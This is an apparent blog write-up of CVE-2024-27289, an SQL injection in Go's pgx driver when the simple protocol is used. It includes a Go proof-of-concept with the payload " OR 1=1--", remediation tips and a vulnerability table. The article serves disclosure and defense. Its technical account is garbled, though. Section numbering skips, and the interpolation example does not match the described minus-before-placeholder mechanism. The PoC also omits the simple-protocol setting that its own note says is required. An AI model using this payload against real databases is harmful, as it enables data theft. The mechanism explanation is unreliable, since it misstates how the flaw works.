The open-source Go ecosystem relies heavily on robust libraries for database access. Among them, pgx stands out as a popular, high-performance PostgreSQL driver and toolkit for Go. But in early 2024, a critical SQL injection flaw was disclosed—CVE-2024-27289. This vulnerability can allow attackers to take over your database if you use the simple protocol under certain conditions. In this article, I’ll break down the problem, walk through how this injection happens, show a proof-of-concept exploit, and tell you how to remediate or work around it.
2. What Is The Simple Protocol?
By default, pgx uses the extended protocol for SQL communication. But if you intentionally switch to the "simple protocol" (perhaps for performance tuning or compatibility), the parameter interpolation becomes less strict. That’s where this bug appears.
Let's see what this looks like in real usage.
// Imagine userId and searchTerm come from user input!
userId := r.URL.Query().Get("id")
search := r.URL.Query().Get("search")
// Forced use of simple protocol (for example, using pgx's QuerySimpleProtocol)
rows, err := conn.Query(context.Background(),
"SELECT * FROM users WHERE balance < -$1 AND name = $2",
userId, search,
)
The problem? If an attacker controls both userId and search, and you run this with QuerySimpleProtocol, dangerous things can happen.
Here’s how an attacker exploits this
- The query engine parses - $1, but if $1 contains SQL code and the protocol isn’t careful, it might get jammed directly into the SQL without sanitization, especially when another $2 is involved on the same line.
The interpolated query becomes
SELECT * FROM users WHERE balance < - OR 1=1-- AND name = 'ignored'
The -- makes the rest a comment. Now it’s
SELECT * FROM users WHERE balance < - OR 1=1
Boom! Full table access. The WHERE is always true.
Here's how a real attack can be mounted
package main
import (
"context"
"fmt"
"github.com/jackc/pgx/v4"
"os"
)
func main() {
conn, err := pgx.Connect(context.Background(), os.Getenv("DATABASE_URL"))
if err != nil {
panic(err)
}
defer conn.Close(context.Background())
// Poisoned parameters
userId := " OR 1=1--"
search := "anything"
rows, err := conn.Query(
context.Background(),
"SELECT * FROM users WHERE balance < -$1 AND name = $2",
userId, search,
)
if err != nil {
panic(err)
}
defer rows.Close()
for rows.Next() {
var id int
var name string
if err := rows.Scan(&id, &name); err != nil {
panic(err)
}
fmt.Println(id, name)
}
}
> Note: For the actual exploit, you must force the use of the simple protocol, e.g., QuerySimpleProtocol. The default driver isn't vulnerable.
7. References
- 📄 Official CVE-2024-27289 entry
- 📝 GitHub Advisory
- 🛠️ PR fixing the issue
- 📦 pgx documentation
Avoid the simple protocol: Don't use QuerySimpleProtocol or similar methods, use the default.
- Don’t place a minus directly before a placeholder: Write queries like balance < -( $1 ) AND instead.
Never trust user input: Always anticipate ways parameters can be abused.
- Stick to defaults: pgx's defaults are safe; custom protocol usage means you must understand the risks.
10. Summary Table
| Condition | Vulnerable? |
|-----------------------------------------|-------------|
| Simple protocol in use | Yes |
| Numeric placeholder after minus | Yes |
| String placeholder after numeric, same line | Yes |
| Both values user-controlled | Yes |
| Using >= v4.18.2 or safe patterns | No |
11. Final Thoughts
While this bug hits a specialized set of circumstances, it’s a reminder that even high-quality libraries can fail when you tweak their defaults. If you or your team use pgx's simple protocol, audit your queries now. A small change in query shape or parameter order could mean the difference between safety and compromise.
Upgrade today and let your Go apps run securely!
*This article is written for educational purposes. Responsible usage and prompt remediation are always recommended.*
Timeline
Published on: 03/06/2024 19:15:08 UTC
Last modified on: 03/06/2024 21:42:48 UTC